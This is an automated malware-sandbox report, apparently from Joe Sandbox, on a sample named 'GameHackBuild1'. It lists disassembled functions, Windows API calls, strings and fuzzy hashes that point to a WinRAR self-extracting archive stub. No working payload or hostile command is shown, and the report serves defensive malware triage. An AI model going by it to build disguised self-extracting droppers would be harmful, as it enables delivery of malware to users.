Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: a330aa061aa881dd4c6a21bf94c55f2a7a40af90d608e3b2140bd9b0002e9acb
Instruction ID: 8fe0ba9cbd1f23855654732ceeabf00e0acd9e9da2ce0e32734f4c3fb462196b
Opcode Fuzzy Hash: a330aa061aa881dd4c6a21bf94c55f2a7a40af90d608e3b2140bd9b0002e9acb
Instruction Fuzzy Hash: 89823A3090424DAEDF25DF60D985BFEBBB9AF15300F0841B9E8999B1C3DB355A48CB64

Function 00A16646 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bd3b77ca1e8dca3d0724ad473eed9300b063b81f721f588fd23516349432eea5
Instruction ID: 754e447e7b78520e55d49fce2f71434fc8527f6c03f33d071e6ddd6026f20e78
Opcode Fuzzy Hash: bd3b77ca1e8dca3d0724ad473eed9300b063b81f721f588fd23516349432eea5
Instruction Fuzzy Hash: D9D105B1A043458FDB14CF28C9807DBBBE4BF95348F08456DE884DB642D734E999CB9A

Function 00A1AEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A1AEE5

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

Strings

C:\Users\user\Desktop, xrefs: 00A1B2DF
__tmp_rar_sfx_access_check_%u, xrefs: 00A1B1CB
winrarsfxmappingfile.tmp, xrefs: 00A1B2BC
"%s"%s, xrefs: 00A1B423
-el -s2 "-d%s" "-sp%s", xrefs: 00A1B281
LICENSEDLG, xrefs: 00A1B771
@, xrefs: 00A1B2A7
STARTDLG, xrefs: 00A1AF04
<, xrefs: 00A1B29A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-3617005944
Opcode ID: 8f4d94e3be8fef420f1801ead8942b53b0365600a887ce46f090a4ec39f90e2b
Instruction ID: 83d2d0b5e91773c3cc4123916cc65195e5de31a84f3c339a8943d2fc0ee18bca
Opcode Fuzzy Hash: 8f4d94e3be8fef420f1801ead8942b53b0365600a887ce46f090a4ec39f90e2b
Instruction Fuzzy Hash: 3B42F4B5954254BEEB21EBF0AD8AFEE7B7CAB12705F000154F605A60D1CBB94D86CB31

Function 00A100CF Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00A100E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00A100F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00A10127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00A103D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A103F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A10402
ReadFile.KERNEL32(00000000,?,00007FFE,00A33BA4,00000000), ref: 00A10421
CloseHandle.KERNEL32(00000000), ref: 00A10479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00A1048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00A104E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00A10510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00A1054A

Part of subcall function 00A10085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A100A0
Part of subcall function 00A10085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A0EB86,Crypt32.dll,00000000,00A0EC0A,?,?,00A0EBEC,?,?,?), ref: 00A100C2

_swprintf.LIBCMT ref: 00A105BE
_swprintf.LIBCMT ref: 00A1060A

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

AllocConsole.KERNEL32 ref: 00A10612
GetCurrentProcessId.KERNEL32 ref: 00A1061C
AttachConsole.KERNEL32(00000000), ref: 00A10623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00A10649
WriteConsoleW.KERNEL32(00000000), ref: 00A10650
Sleep.KERNEL32(00002710), ref: 00A1065B
FreeConsole.KERNEL32 ref: 00A10661
ExitProcess.KERNEL32 ref: 00A10669

Strings

dwmapi.dll, xrefs: 00A10194, 00A10581
DXGIDebug.dll, xrefs: 00A10169, 00A104D3
uxtheme.dll, xrefs: 00A1058B
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00A105F8
SetDllDirectoryW, xrefs: 00A100F0
kernel32, xrefs: 00A100DD
SetDefaultDllDirectories, xrefs: 00A10121

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: c06b9a0681abc6da5182b4a52263968ea42d36d65a1ff9dce74fb9580516b984
Instruction ID: fb3771a4cf580088a3ea5577cf2bd5d4f8178f6ab8fb5f985890c5769413bdbe
Opcode Fuzzy Hash: c06b9a0681abc6da5182b4a52263968ea42d36d65a1ff9dce74fb9580516b984
Instruction Fuzzy Hash: 50D17FB210C384ABDB30DF50DD49FDFBAE8BF85705F50491DF6899A140DBB486898B62

Function 00A1BDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00A1BDFA

Part of subcall function 00A1AA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00A1AAFE

SetWindowTextW.USER32(?,?), ref: 00A1C127
_wcsrchr.LIBVCRUNTIME ref: 00A1C2B1
GetDlgItem.USER32(?,00000066), ref: 00A1C2EC
SetWindowTextW.USER32(00000000,?), ref: 00A1C2FC
SendMessageW.USER32(00000000,00000143,00000000,00A4A472), ref: 00A1C30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A1C335

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00A1C1D0
ProgramFilesDir, xrefs: 00A1C1FB
%s.%d.tmp, xrefs: 00A1BFF6
<br>, xrefs: 00A1C08A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: 6804ae0df9bd545b33a88b2dc0c2ffb71b19610b0266e4168ef1ca3f9ac81aa3
Instruction ID: c1706b324f6710175ad705a64911b1251d9f408b1425f1c1cb589f66f9701f43
Opcode Fuzzy Hash: 6804ae0df9bd545b33a88b2dc0c2ffb71b19610b0266e4168ef1ca3f9ac81aa3
Instruction Fuzzy Hash: 99E1A372D44228AADF25EBA4ED45EEF737DAF09351F0041A6F509E3090EB749EC58B60

Function 00A0D341 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00A0D346
_wcschr.LIBVCRUNTIME ref: 00A0D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00A0D328,?), ref: 00A0D382
__fprintf_l.LIBCMT ref: 00A0D873

Part of subcall function 00A1137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00A0B652,00000000,?,?,?,00010444), ref: 00A11396

Strings

, xrefs: 00A0D67A
@%s:, xrefs: 00A0D85D, 00A0D869
R, xrefs: 00A0D4E5
*messages***, xrefs: 00A0D4D3
*messages***, xrefs: 00A0D49A
a, xrefs: 00A0D4EF
$%s:, xrefs: 00A0D856
RTL, xrefs: 00A0D838
,, xrefs: 00A0D8AE

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-980926923
Opcode ID: 97f20226d492b223ad98bd90efb43aa897330e390fa890b79deb81b99192f312
Instruction ID: 963e841a80cb1044671904c8f7235819c3d3b2fc87f25e2401cac7af5094fc55
Opcode Fuzzy Hash: 97f20226d492b223ad98bd90efb43aa897330e390fa890b79deb81b99192f312
Instruction Fuzzy Hash: 3912AD7290021DAADF24DFA8ED81BEEB7B5BF04300F10456AF505A72C2EB709A44CB24

Function 00A1CB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A1AC85
Part of subcall function 00A1AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A1AC96
Part of subcall function 00A1AC74: IsDialogMessageW.USER32(00010444,?), ref: 00A1ACAA
Part of subcall function 00A1AC74: TranslateMessage.USER32(?), ref: 00A1ACB8
Part of subcall function 00A1AC74: DispatchMessageW.USER32(?), ref: 00A1ACC2

GetDlgItem.USER32(00000068,00A5ECB0), ref: 00A1CB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,00A1A632), ref: 00A1CB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00A1CBA1
SendMessageW.USER32(00000000,000000C2,00000000,00A335B4), ref: 00A1CBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00A1CBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00A1CBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00A1CC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00A1CC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00A1CC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00A1CC67
SendMessageW.USER32(00000000,000000C2,00000000,00A3431C), ref: 00A1CC76

Strings

\, xrefs: 00A1CBCF

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 1cbc6ed34f3185c22f8644c53ecaab4eb3c4360bc49f1de6e1d97f0504ecbf13
Instruction ID: 5831c004a512c7c72aa27f0749cfd08ce7a06175ba90d2cabaad6ff6689c9792
Opcode Fuzzy Hash: 1cbc6ed34f3185c22f8644c53ecaab4eb3c4360bc49f1de6e1d97f0504ecbf13
Instruction Fuzzy Hash: DC31BE71185B41ABE301DF60AC4AFAF7EACEB82B14F010508FA51961D1DBA95D0AC7B6

Function 00A1CE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00A1CF54
ShowWindow.USER32(?,00000000), ref: 00A1CF93
GetExitCodeProcess.KERNEL32(?,?), ref: 00A1CFCF
CloseHandle.KERNEL32(?), ref: 00A1CFF5
ShowWindow.USER32(?,00000001), ref: 00A1D084

Part of subcall function 00A117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00A0BB05,00000000,.exe,?,?,00000800,?,?,00A185DF,?), ref: 00A117C2

Strings

, xrefs: 00A1CEA2
.exe, xrefs: 00A1CFFF
.inf, xrefs: 00A1CF10

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: a6dc0773f601de9db74cc0c116b5703c9890ba9812cdb4925e46490383f1760a
Instruction ID: f3f4d8426d8d56aa952f81bea8d09708e122fd1a2951f7fcbf2168c941a44fbe
Opcode Fuzzy Hash: a6dc0773f601de9db74cc0c116b5703c9890ba9812cdb4925e46490383f1760a
Instruction Fuzzy Hash: DD610271448380AADB31DF64D9006EBBBFAAF85310F08481DF5C697291D7B1DAC6CB92

Function 00A2A058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00A24F9B,00A24F9B,?,?,?,00A2A2A9,00000001,00000001,3FE85006), ref: 00A2A0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00A2A2A9,00000001,00000001,3FE85006,?,?,?), ref: 00A2A138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00A2A232
__freea.LIBCMT ref: 00A2A23F

Part of subcall function 00A28518: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A23A26,?,0000015D,?,?,?,?,00A24F02,000000FF,00000000,?,?), ref: 00A2854A

__freea.LIBCMT ref: 00A2A248
__freea.LIBCMT ref: 00A2A26D

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: ffbf9e03b782bce37d562bcd76375288929517cd1db05701ecc759711f6bc20d
Instruction ID: 52411840a8bcfbb3d6b1bc54649e13b9811928e623948bb7b05bebdab6ff0575
Opcode Fuzzy Hash: ffbf9e03b782bce37d562bcd76375288929517cd1db05701ecc759711f6bc20d
Instruction Fuzzy Hash: DF51CE72610226EFEB258F68ED41EFB77AAEB60760F154238FC05D6150EB35DC4087A2

Function 00A099B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00A078AD,?,00000005,?,00000011), ref: 00A09A4C
GetLastError.KERNEL32(?,?,00A078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A09A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00A078AD,?,00000005,?), ref: 00A09A8E
GetLastError.KERNEL32(?,?,00A078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A09A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00A078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A09ADB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 93e4f5bd84c2480caeacc319832dc0c5286cea8ebe57ef255b332ff837516dc4
Instruction ID: 0a984fafceb671a0f03e47184584c1fb14f2ff4df612e0ff23164a082bd94d0c
Opcode Fuzzy Hash: 93e4f5bd84c2480caeacc319832dc0c5286cea8ebe57ef255b332ff837516dc4
Instruction Fuzzy Hash: 04415A316487496FE730CB20EC05BDBBBD4BB05364F100719F5E4961D2D775A989CBA1

Function 00A1AC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A1AC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A1AC96
IsDialogMessageW.USER32(00010444,?), ref: 00A1ACAA
TranslateMessage.USER32(?), ref: 00A1ACB8
DispatchMessageW.USER32(?), ref: 00A1ACC2

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: f53dad40bd84ec54180918a1f9c4e42f64fc97a38bb9bf754a7891639e4bfd4f
Instruction ID: ddb3d226a0ec4d36ea3a3e8a27c44b66e3b9882f5a811e22ae5fdeabca6fffd1
Opcode Fuzzy Hash: f53dad40bd84ec54180918a1f9c4e42f64fc97a38bb9bf754a7891639e4bfd4f
Instruction Fuzzy Hash: F5F0177190222AAB8B20DBE2AC4CEEB7F7CEE052A17404415F909D2140EA68D846CBF1

Function 00A1A2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00A1A2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 00A1A315

Part of subcall function 00A117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00A0BB05,00000000,.exe,?,?,00000800,?,?,00A185DF,?), ref: 00A117C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00A1A305

Strings

EDIT, xrefs: 00A1A2E9, 00A1A2F4, 00A1A301

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 25e41870aa9d0de8c9b5651bd083fe3ce09ebfd715cfe2e7308c070635bd57d7
Instruction ID: db5eb33bd5c0cf4062000398afb84588794639674a8e5abc728652802705f1e4
Opcode Fuzzy Hash: 25e41870aa9d0de8c9b5651bd083fe3ce09ebfd715cfe2e7308c070635bd57d7
Instruction Fuzzy Hash: 29F0E236B0262877E7209B64AD09FDB776C9B46B40F090052FE04A6180D7A0AD82C6F6

Function 00A1A335 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A10085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A100A0
Part of subcall function 00A10085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A0EB86,Crypt32.dll,00000000,00A0EC0A,?,?,00A0EBEC,?,?,?), ref: 00A100C2

OleInitialize.OLE32(00000000), ref: 00A1A34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00A1A385
SHGetMalloc.SHELL32(00A48430), ref: 00A1A38F

Strings

riched20.dll, xrefs: 00A1A33D

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 0d52dc6e9dc2957e265fa8365c6cfaac90ed828472226f46d9f48fe8779763f6
Instruction ID: 2ce9480c5242fa69eb8758995494d95d962e9b04b4ae305c6452264bce96f1af
